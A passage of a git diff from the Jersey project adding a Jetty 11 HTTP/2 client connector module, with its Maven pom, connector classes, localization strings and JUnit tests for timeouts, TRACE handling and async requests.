@Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2 + public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + final Response response = target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + assertTrue(response.readEntity(String.class).contains("end")); + } + + @Test + public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception { + + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(JettyClientProperties.TOTAL_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + + fail("This operation should trigger total timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } + + /** + * Test accessing an operation that is streaming slowly + * + * @throws ProcessingException in case of a test error. + */ + @Test + public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception { + + int start = 150; + int count = 5; + int pauseMillis = 50; + + try { + target("test") + .property(ClientProperties.READ_TIMEOUT, 100L) + .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1") + .path("stream") + .queryParam("start", start) + .queryParam("count", count) + .queryParam("pauseMillis", pauseMillis) + .request().get(); + fail("This operation should trigger idle timeout"); + } catch (ProcessingException e) { + assertEquals(TimeoutException.class, e.getCause().getClass()); + } + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java new file mode 100644 index 00000000000..a7661cb5a21 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java @@ -0,0 +1,235 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.List; +import java.util.Map; +import java.util.logging.Logger; + +import jakarta.ws.rs.HttpMethod; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Request; +import jakarta.ws.rs.core.Response; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.process.Inflector; +import org.glassfish.jersey.server.ContainerRequest; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.model.Resource; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +/** + * This very basic resource showcases support of a HTTP TRACE method, + * not directly supported by JAX-RS API. + * + * @author Marek Potociar + */ +public class TraceSupportTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName()); + + /** + * Programmatic tracing root resource path. + */ + public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic"; + + /** + * Annotated class-based tracing root resource path. + */ + public static final String ROOT_PATH_ANNOTATED = "tracing/annotated"; + + @HttpMethod(TRACE.NAME) + @Target(ElementType.METHOD) + @Retention(RetentionPolicy.RUNTIME) + public @interface TRACE { + public static final String NAME = "TRACE"; + } + + @Path(ROOT_PATH_ANNOTATED) + public static class TracingResource { + + @TRACE + @Produces("text/plain") + public String trace(Request request) { + return stringify((ContainerRequest) request); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TracingResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC); + resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector() { + + @Override + public Response apply(ContainerRequestContext request) { + if (request == null) { + return Response.noContent().build(); + } else { + return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build(); + } + } + }); + + return config.registerResources(resourceBuilder.build()); + + } + + private String[] expectedFragmentsProgrammatic = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic" + }; + private String[] expectedFragmentsAnnotated = new String[]{ + "TRACE http://localhost:" + this.getPort() + "/tracing/annotated" + }; + + private WebTarget prepareTarget(String path) { + final WebTarget target = target(); + target.register(LoggingFeature.class); + return target.path(path); + } + + @Test + public void testProgrammaticApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsProgrammatic) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testAnnotatedApp() throws Exception { + Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME); + + assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode()); + + String responseEntity = response.readEntity(String.class); + for (String expectedFragment : expectedFragmentsAnnotated) { + assertTrue(// toLowerCase - http header field names are case insensitive + responseEntity.contains(expectedFragment), + "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity); + } + } + + @Test + public void testTraceWithEntity() throws Exception { + _testTraceWithEntity(false, false); + } + + @Test + public void testAsyncTraceWithEntity() throws Exception { + _testTraceWithEntity(true, false); + } + + @Test + public void testTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(false, true); + } + + @Test + public void testAsyncTraceWithEntityJettyConnector() throws Exception { + _testTraceWithEntity(true, true); + } + + private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception { + try { + WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target(); + target = target.path(ROOT_PATH_ANNOTATED); + + final Entity entity = Entity.entity("trace", MediaType.WILDCARD_TYPE); + + Response response; + if (!isAsync) { + response = target.request().method(TRACE.NAME, entity); + } else { + response = target.request().async().method(TRACE.NAME, entity).get(); + } + + fail("A TRACE request MUST NOT include an entity. (response=" + response + ")"); + } catch (Exception e) { + // OK + } + } + + private Client getJettyClient() { + return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider())); + } + + + public static String stringify(ContainerRequest request) { + StringBuilder buffer = new StringBuilder(); + + printRequestLine(buffer, request); + printPrefixedHeaders(buffer, request.getHeaders()); + + if (request.hasEntity()) { + buffer.append(request.readEntity(String.class)).append("\n"); + } + + return buffer.toString(); + } + + private static void printRequestLine(StringBuilder buffer, ContainerRequest request) { + buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n"); + } + + private static void printPrefixedHeaders(StringBuilder buffer, Map> headers) { + for (Map.Entry> e : headers.entrySet()) { + List val = e.getValue(); + String header = e.getKey(); + + if (val.size() == 1) { + buffer.append(header).append(": ").append(val.get(0)).append("\n"); + } else { + StringBuilder sb = new StringBuilder(); + boolean add = false; + for (String s : val) { + if (add) { + sb.append(','); + } + add = true; + sb.append(s); + } + buffer.append(header).append(": ").append(sb.toString()).append("\n"); + } + } + } +} diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java new file mode 100644 index 00000000000..7802e458a78 --- /dev/null +++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java @@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; + +import org.glassfish.jersey.client.ClientConfig; + +import org.eclipse.jetty.client.HttpClient; +import org.junit.jupiter.api.Test; + +import static org.hamcrest.CoreMatchers.is; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertSame; +import static org.hamcrest.MatcherAssert.assertThat; + +/** + * Test of access to the underlying HTTP client instance used by the connector. + * + * @author Marek Potociar + */ +public class UnderlyingHttpClientAccessTest { + + /** + * Verifier of JERSEY-2424 fix. + */ + @Test + public void testHttpClientInstanceAccess() { + final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider())); + final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client); + // important: the web target instance in this test must be only created AFTER the client has been pre-initialized + // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the + // connector provider's static getHttpClient method above. + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target); + + assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null."); + assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null."); + assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one " + + "set on JerseyWebTarget (provided the target instance has not been further configured)."); + } + + @Test + public void testGetProvidedClientInstance() { + final HttpClient httpClient = new HttpClient(); + final ClientConfig clientConfig = new ClientConfig() + .connectorProvider(new JettyConnectorProvider()) + .register(new JettyHttpClientSupplier(httpClient)); + final Client client = ClientBuilder.newClient(clientConfig); + final WebTarget target = client.target("http://localhost/"); + final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target); + + assertThat("Instance provided to a ClientConfig differs from instance provided by JettyProvider", + httpClient, is(hcOnTarget)); + } +} diff --git a/connectors/jetty11-http2-connector/pom.xml b/connectors/jetty11-http2-connector/pom.xml new file mode 100644 index 00000000000..c3633ed7b1e --- /dev/null +++ b/connectors/jetty11-http2-connector/pom.xml @@ -0,0 +1,187 @@ + + + + + 4.0.0 + + + org.glassfish.jersey.connectors + project + 3.1.99-SNAPSHOT + + + jersey-jetty11-http2-connector + jar + jersey-connectors-jetty11-http2 + + Jersey Client Transport via Jetty 11 + + + UTF-8 + ${project.basedir}/target + ${project.basedir}/src/main/java8 + ${project.basedir}/target11 + ${project.basedir}/src/main/java11 + + + + + + org.eclipse.jetty + jetty-server + ${jetty11.version} + + + org.eclipse.jetty + jetty-client + ${jetty11.version} + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-server + ${jetty11.version} + + + org.eclipse.jetty + jetty-alpn-conscrypt-server + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-client + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-http-client-transport + ${jetty11.version} + + + + + + + org.eclipse.jetty + jetty-client + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-client + ${jetty11.version} + + + org.eclipse.jetty.http2 + http2-http-client-transport + ${jetty11.version} + + + org.eclipse.jetty + jetty-util + ${jetty11.version} + + + + org.glassfish.jersey.connectors + jersey-jetty11-connector + ${project.version} + + + org.eclipse.jetty + jetty-client + + + + + + org.glassfish.jersey.media + jersey-media-jaxb + ${project.version} + test + + + + org.glassfish.jersey.containers + jersey-container-jetty11-http2 + ${project.version} + test + + + org.eclipse.jetty + http2-server + + + + + org.glassfish.jersey.media + jersey-media-json-jackson + ${project.version} + test + + + org.glassfish.jersey.test-framework.providers + jersey-test-framework-provider-jetty11-http2 + ${project.version} + test + + + com.sun.xml.bind + jaxb-osgi + test + + + + + + + com.sun.istack + istack-commons-maven-plugin + true + + + org.codehaus.mojo + build-helper-maven-plugin + true + + + org.apache.maven.plugins + maven-compiler-plugin + + + org.apache.felix + maven-bundle-plugin + true + + + + ${jetty.osgi.version}, + * + + + + + + + + \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java new file mode 100644 index 00000000000..454efd0db8f --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java @@ -0,0 +1,59 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.jetty.connector.JettyConnector; +import org.glassfish.jersey.jetty.connector.JettyHttpClientContract; +import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier; + +/** + * HTTP/2 enabled version of the {@link JettyHttpClientSupplier} + * + * @since 2.41 + */ +public class JettyHttp2ClientSupplier implements JettyHttpClientContract { + private final HttpClient http2Client; + + /** + * default Http2Client created for the supplier. + */ + public JettyHttp2ClientSupplier() { + this(createHttp2Client()); + } + /** + * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered + * to a {@link org.glassfish.jersey.client.ClientConfig} + * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called. + */ + public JettyHttp2ClientSupplier(HttpClient http2Client) { + this.http2Client = http2Client; + } + + private static final HttpClient createHttp2Client() { + final HttpClientTransport transport = new HttpClientTransportOverHTTP2(new HTTP2Client()); + return new HttpClient(transport); + } + + @Override + public HttpClient getHttpClient() { + return http2Client; + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java new file mode 100644 index 00000000000..7f1e45dd1f4 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java @@ -0,0 +1,81 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configuration; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.client.HttpClientTransport; +import org.eclipse.jetty.http2.client.HTTP2Client; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.eclipse.jetty.io.ClientConnector; +import org.glassfish.jersey.jetty.connector.JettyConnector; + +import java.util.Optional; + +/** + * Extends {@link JettyConnector} with HTTP/2 transport support + * + * @since 2.41 + */ +class JettyHttp2Connector extends JettyConnector { + + + /** + * Create the new Jetty HTTP/2 client connector. + * + * @param jaxrsClient JAX-RS client instance, for which the connector is created. + * @param config client configuration. + */ + JettyHttp2Connector(Client jaxrsClient, Configuration config) { + super(jaxrsClient, config); + } + + /** + * provides required {@link HttpClientTransport} for client + * + * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client} + * + * @return {@link HttpClientTransportOverHTTP2} + * @since 2.41 + */ + @Override + protected HttpClientTransport initClientTransport(ClientConnector clientConnector) { + return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector)); + } + + /** + * provides custom registered {@link HttpClient} (if any) with HTTP/2 support + * + * @param config configuration where {@link HttpClient} could be registered + * @return {@link HttpClient} instance if any was previously registered or NULL + * + * @since 2.41 + */ + @Override + protected HttpClient getRegisteredHttpClient(Configuration config) { + if (config.isRegistered(JettyHttp2ClientSupplier.class)) { + Optional contract = config.getInstances().stream() + .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst(); + if (contract.isPresent()) { + return ((JettyHttp2ClientSupplier) contract.get()).getHttpClient(); + } + } + return null; + } +} diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java new file mode 100644 index 00000000000..02eaf5a81b3 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java @@ -0,0 +1,58 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.core.Configurable; +import jakarta.ws.rs.core.Configuration; +import org.eclipse.jetty.client.HttpClient; +import org.glassfish.jersey.client.Initializable; +import org.glassfish.jersey.client.spi.Connector; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.jetty.connector.LocalizationMessages; + +/** + * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client + * + * @since 2.41 + */ +public class JettyHttp2ConnectorProvider extends JettyConnectorProvider { + @Override + public Connector getConnector(Client client, Configuration runtimeConfig) { + return new JettyHttp2Connector(client, runtimeConfig); + } + + public static HttpClient getHttpClient(Configurable component) { + if (!(component instanceof Initializable)) { + throw new IllegalArgumentException( + LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName())); + } + + final Initializable initializable = (Initializable) component; + Connector connector = initializable.getConfiguration().getConnector(); + if (connector == null) { + initializable.preInitialize(); + connector = initializable.getConfiguration().getConnector(); + } + + if (connector instanceof JettyHttp2Connector) { + return ((JettyHttp2Connector) connector).getHttpClient(); + } + + throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED()); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java new file mode 100644 index 00000000000..960bbb656b9 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/java/org/glassfish/jersey/jetty/http2/connector/package-info.java @@ -0,0 +1,21 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +/** + * Jersey HTTP2 client {@link org.glassfish.jersey.client.spi.Connector connector} based on the + * Jetty Client. + */ +package org.glassfish.jersey.jetty.http2.connector; diff --git a/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties new file mode 100644 index 00000000000..b219ef9ce54 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/main/resources/org/glassfish/jersey/jetty/http2/connector/localization.properties @@ -0,0 +1,21 @@ +# +# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. +# +# This program and the accompanying materials are made available under the +# terms of the Eclipse Public License v. 2.0, which is available at +# http://www.eclipse.org/legal/epl-2.0. +# +# This Source Code may also be made available under the following Secondary +# Licenses when the conditions for such availability set forth in the +# Eclipse Public License v. 2.0 are satisfied: GNU General Public License, +# version 2 with the GNU Classpath Exception, which is available at +# https://www.gnu.org/software/classpath/license.html. +# +# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 +# + +# {0} - HTTP method, e.g. GET, DELETE +method.not.supported=Method {0} not supported. +invalid.configurable.component.type=The supplied component "{0}" is not assignable from Jersey11Client or JerseyWebTarget. +expected.connector.provider.not.used=The supplied component is not configured to use a Jetty11ConnectorProvider. +not.supported=Jetty connector is not supported on JDK version less than 11. diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java new file mode 100644 index 00000000000..76ef67bf56c --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AsyncTest.java @@ -0,0 +1,193 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.hamcrest.Matchers; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.container.AsyncResponse; +import jakarta.ws.rs.container.Suspended; +import jakarta.ws.rs.container.TimeoutHandler; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.Future; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class AsyncTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(AsyncTest.class.getName()); + private static final String PATH = "async"; + + /** + * Asynchronous test resource. + */ + @Path(PATH) + public static class AsyncResource { + /** + * Typical long-running operation duration. + */ + public static final long OPERATION_DURATION = 1000; + + /** + * Long-running asynchronous post. + * + * @param asyncResponse async response. + * @param id post request id (received as request payload). + */ + @POST + public void asyncPost(@Suspended final AsyncResponse asyncResponse, final String id) { + LOGGER.info("Long running post operation called with id " + id + " on thread " + Thread.currentThread().getName()); + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // ... very expensive operation that typically finishes within 1 seconds, simulated using sleep() + try { + Thread.sleep(OPERATION_DURATION); + return "DONE-" + id; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED-" + id; + } finally { + LOGGER.info("Long running post operation finished on thread " + Thread.currentThread().getName()); + } + } + }, "async-post-runner-" + id).start(); + } + + /** + * Long-running async get request that times out. + * + * @param asyncResponse async response. + */ + @GET + @Path("timeout") + public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) { + LOGGER.info("Async long-running get with timeout called on thread " + Thread.currentThread().getName()); + asyncResponse.setTimeoutHandler(new TimeoutHandler() { + + @Override + public void handleTimeout(AsyncResponse asyncResponse) { + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + } + }); + asyncResponse.setTimeout(1, TimeUnit.SECONDS); + asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE) + .entity("Operation time out.").build()); + + new Thread(new Runnable() { + + @Override + public void run() { + String result = veryExpensiveOperation(); + asyncResponse.resume(result); + } + + private String veryExpensiveOperation() { + // very expensive operation that typically finishes within 1 second but can take up to 5 seconds, + // simulated using sleep() + try { + Thread.sleep(5 * OPERATION_DURATION); + return "DONE"; + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); + return "INTERRUPTED"; + } finally { + LOGGER.info("Async long-running get with timeout finished on thread " + Thread.currentThread().getName()); + } + } + }).start(); + } + + } + + @Override + protected Application configure() { + return new ResourceConfig(AsyncResource.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + } + + @Override + protected void configureClient(ClientConfig config) { + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test asynchronous POST. + * + * Send 3 async POST requests and wait to receive the responses. Check the response content and + * assert that the operation did not take more than twice as long as a single long operation duration + * (this ensures async request execution). + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncPost() throws Exception { + final long tic = System.currentTimeMillis(); + + // Submit requests asynchronously. + final Future rf1 = target(PATH).request().async().post(Entity.text("1")); + final Future rf2 = target(PATH).request().async().post(Entity.text("2")); + final Future rf3 = target(PATH).request().async().post(Entity.text("3")); + // get() waits for the response + final String r1 = rf1.get().readEntity(String.class); + final String r2 = rf2.get().readEntity(String.class); + final String r3 = rf3.get().readEntity(String.class); + + final long toc = System.currentTimeMillis(); + + assertEquals("DONE-1", r1); + assertEquals("DONE-2", r2); + assertEquals("DONE-3", r3); + + assertThat("Async processing took too long.", toc - tic, Matchers.lessThan(3 * AsyncResource.OPERATION_DURATION)); + } + + /** + * Test accessing an operation that times out on the server. + * + * @throws Exception in case of a test error. + */ + @Test + public void testAsyncGetWithTimeout() throws Exception { + final Future responseFuture = target(PATH).path("timeout").request().async().get(); + // Request is being processed asynchronously. + final Response response = responseFuture.get(); + + // get() waits for the response + assertEquals(503, response.getStatus()); + assertEquals("Operation time out.", response.readEntity(String.class)); + } +} \ No newline at end of file diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java new file mode 100644 index 00000000000..5daad2d38c4 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/AuthFilterTest.java @@ -0,0 +1,72 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.authentication.HttpAuthenticationFeature; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import 